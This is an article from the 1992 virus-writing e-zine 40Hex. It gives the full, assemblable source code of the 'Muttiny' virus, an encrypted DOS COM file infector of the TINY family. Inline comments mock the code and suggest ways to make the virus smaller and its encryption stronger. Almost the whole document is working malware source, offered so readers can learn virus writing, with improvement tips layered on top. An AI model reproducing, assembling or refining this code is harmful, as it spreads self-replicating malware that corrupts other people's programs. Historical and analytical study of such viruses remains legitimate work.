Copy Link
Add to Bookmark
Report
40Hex Issue 07 File 004
40Hex Number 7 Volume 2 Issue 3 File 004
I picked up a file touted as "a very small virus" and decided to figure out
what this virus could be. SCAN86-B turned up nothing, so I had to disassemble
it. The name was intriguing -- muttiny. I thought it was a misspelling of
mutiny, but I was terribly wrong. After a minute, I had infected a carrier
file and decrypted the virus. It took but one minute more to disassemble and
maybe half an hour to comment. Argh! It is yet another TINY strain!
I do not know who the author is, but I had a few comments to make. This
virus, quite frankly, sucks. It is a pitiful excuse for programming. Many,
many improvements can be made. I have put comments on how this virus could
be made much mo' bettah. I must tell whoever wrote the virus that TINY is
not so tiny anymore. The original TINYs were 150 bytes long. Now look at
it! It is over twice that size! I suppose this virus is the "MUTated TINY"
variant, but I'd prefer to call it "Messed Up Totally TINY". The author MUST
clean up the virus before distributing it to everyone! One further
improvement would be to make this virus a generic COM infector, which can be
done in well under 200 bytes, with all the "functionality" of the current
version. Note that this time I did not rewrite it, a la Tiny F 1.1, but
rather merely suggested improvements. This way, you can easily see the bugs
for yourself and learn from the author's pitfalls.
Dark Angel of PHALCON/SKISM 4/23/92
P.S. This is a byte-to-byte match of the virus I picked up -- even the
labels are in their correct offsets. The file below should match
the source code of the original carrier file exactly. Assemble w/
TASM /m2.
P.P.S. This is the last Tiny strain to be published in 40Hex. For some
Reason, Tiny strains seem to come up again and again over here. I
think it is hightime to put the Tiny series in its grave where it
belongs. Amen. So be it. DA
muttiny segment byte public
assume cs:muttiny, ds:muttiny
org 100h
start: db 0e9h, 5, 0 ;jmp startvir
restorehere: int 20h
idword: dw 990h
;The next line is incredibly pointless. It is a holdover from one
;of the original TINYs, where the id was 7, 8, 9. The author can
;easily save one byte merely by deleting this line.
db 09h
startvir:
call oldtrick ;Standard location-finder
oldtrick: pop si
;The following statement is a bug -- well, not really a bug, just
;extraneous code. The value pushed on the stack in the following
;line is NEVER popped off. This is messy programming, as one byte
;could be saved by removing the statement.
push si
sub si,offset oldtrick
call encrypt ;Decrypt virus
call savepsp ;and save the PSP
;NOTE: The entire savepsp/restorepsp procedures are unnecessary.
See the procedures at the end for further details.
jmp short findencryptval ;Go to th rest of the virus
;The next line is another example of messy programming -- it is a
;NOP inserted by MASM during assembly. Running this file through
;TASM with the /m2 switch should eliminate such "fix-ups."
nop
;The next line leaves me guessing as to the author's true intent.
db 0
encryptval dw 0h
encrypt:
push bx ;Save handle
;The following two lines of code could be condensed into one:
; lea bx, [si+offset startencrypt]
;Once again, poor programming style, though there's nothing wrong
;with the code.
mov bx,offset startencrypt
add bx,si
;Continueencrypt is implemented as a jmp-type loop. Although it's
;fine to code it this way, it's probably easier to code using the
;loop statement. Upon close inspection, one finds the loop to be
;flawed. Note the single inc bx statement. This essentially makes
;the encryption value a a byte instead of a word, which decreases
;the number of mutations from 65,535 to 255. Once again, this is
;just poor programming, very easily rectified with another inc bx
;statement. Another optimization could be made. Use a
; mov dx, [si+encryptval]
;to load up the encryption value before the loop, and replace the
;three lines following continueencrypt with a simple:
; xor word ptr [bx], dx
continueencrypt:
mov ax,[bx]
xor ax,word ptr [si+encryptval]
mov [bx],ax
inc bx
;The next two lines should be executed BEFORE continueencrypt. As
;it stands right now, they are recalculated every iteration which
;slows down execution somewhat. Furthermore, the value calculated
;is much too large and this increases execution time. Yet another
;improvement would be the merging of the mov/add pair to the much
;cleaner lea cx, [si+offset endvirus].
mov cx,offset veryend ;Calculate end of
add cx,si ;encryption: Note
cmp bx,cx ;the value is 246
jle continueencrypt ;bytes too large.
pop bx
ret
writerest: ;Tack on the virus to the
call encrypt ;end of the file.
mov ah,40h
mov cx,offset endvirus - offset idword
lea dx,[si+offset idword] ;Write starting from the id
int 21h ;word
call encrypt
ret
startencrypt:
;This is where the encrypted area begins. This could be moved to
;where the ret is in procedure writerest, but it is not necessary
;since it won't affect the "scannability" of the virus.
findencryptval:
mov ah,2Ch ;Get random #
int 21h ;CX=hr/min dx=sec
;The following chunk of code puzzles me. I admit it, I am totally
;lost as to its purpose.
cmp word ptr [si+offset encryptval],0
je step_two
cmp word ptr [si+offset encryptval+1],0
je step_two
cmp dh,0Fh
jle foundencryptionvalue
step_two: ;Check to see if any
cmp dl,0 ;part of the encryption
je findencryptval ;value is 0 and if so,
cmp dh,0 ;find another value.
je findencryptval
mov [si+offset encryptval],dx
foundencryptionvalue:
mov bp,[si+offset oldjmp] ;Set up bp for
add bp,103h ;jmp later
lea dx,[si+filemask] ;'*.COM',0
xor cx,cx ;Attributes
mov ah,4Eh ;Find first
tryanother:
int 21h
jc quit_virus ;If none found, exit
mov ax,3D02h ;Open read/write
mov dx,9Eh ;In default DTA
int 21h
mov cx,3
mov bx,ax ;Swap file handle register
lea dx,[si+offset buffer]
mov di,dx
call read ;Read 3 bytes
cmp byte ptr [di],0E9h ;Is it a jmp?
je infect
findnext:
mov ah,4Fh ;If not, find next
jmp short tryanother
infect:
mov ax,4200h ;Move file pointer
mov dx,[di+1] ;to jmp location
mov [si+offset oldjmp],dx ;and save old jmp
xor cx,cx ;location
call int21h
jmp short skipcheckinf
;Once again, we meet an infamous MASM-NOP.
nop
;I don't understand why checkinf is implemented as a procedure as
;it is executed but once. It is a waste of code space to do such
;a thing. The ret and call are both extra, wasting four bytes. An
;additional three bytes were wasted on the JMP skipping checkinf.
;In a program called "Tiny," a wasted seven bytes is rather large
;and should not exist. I have written a virus of half the length
;of this virus which is a generic COM infector. There is just too
;too much waste in this program.
checkinf:
cmp word ptr [di],990h ;Is it already
je findnext ;infected?
;The je statement above presents another problem. It leaves stuff
;on the stack from the call. This is, once again, not a critical
;error but nevertheless it is extremely sloppy behavior.
xor dx,dx
xor cx,cx
mov ax,4202h
call int21h ;Goto end of file
ret
skipcheckinf:
mov cx,2
mov dx,di
call read ;read 2 bytes
call checkinf
;The next check is extraneous. No COM file is larger than 65,535
;bytes before infection simply because it is "illegal." Yet ano-
;ther waste of code. Even if one were to use this useless check,
;it should be implemented, to save space, as or dx, dx.
cmp dx,0 ;Check if too big
jne findnext
cmp ah,0FEh ;Check again if too big
jae findnext
mov [si+storejmp],ax ;Save new jmp
call writerest ; location
mov ax,4200h ;Go to offset
mov dx,1 ;1 in the file
xor cx,cx
call int21h
mov ah,40h ;and write the new
mov cx,2 ;jmp location
lea dx,[si+storejmp]
call int21h
;I think it is quite obvious that the next line is pointless. It
;is a truly moronic waste of two bytes.
jc closefile
closefile:
mov ah,3Eh ;Close the file
call int21h
quit_virus:
call restorepsp
jmp bp
read:
mov ah,3Fh ;Read file
;I do not understand why all the int 21h calls are done with this
;procedure. It is a waste of space. A normal int 21h call is two
;bytes long while it's three bytes just to call this procedure!
int21h:
int 21h
ret
db 'Made in England'
;Note: The comments for savepsp also apply to restorepsp.
;This code could have easily been changed to a set active DTA INT
;21h call (AH = 1Ah). It would have saved many, many bytes.
savepsp:
mov di,0
;The following is a bug. It should be
; mov cx, 50h
;since the author decided to use words instead of bytes.
mov cx,100h
push si
;The loop below is dumb. A simple rep movsw statement would have
;sufficed. Instead, countless bytes are wasted on the loop.
storebytes:
mov ax,[di]
mov word ptr [si+pspstore],ax
add si,2
add di,2
loop storebytes
pop si
ret
restorepsp:
mov di,0
mov cx,100h ;Restore 200h bytes
push si
restorebytes:
mov ax,word ptr [si+pspstore]
mov [di],ax
add si,2
add di,2
loop restorebytes
pop si
ret
oldjmp dw 0
filemask db '*.COM',0
idontknow1 db 66h ;Waste of one byte
buffer db 00h, 00h, 01h ;Waste of three bytes
storejmp dw 0 ;Waste of two bytes
;endvirus should be before idontknow1, thereby saving six bytes.
endvirus:
idontknow2 db ?, ?
pspstore db 200 dup (?) ;Should actually be
idontknow3 db 2ch dup (?) ;100h bytes long.
veryend: ;End of encryption
muttiny ends
end start
+++++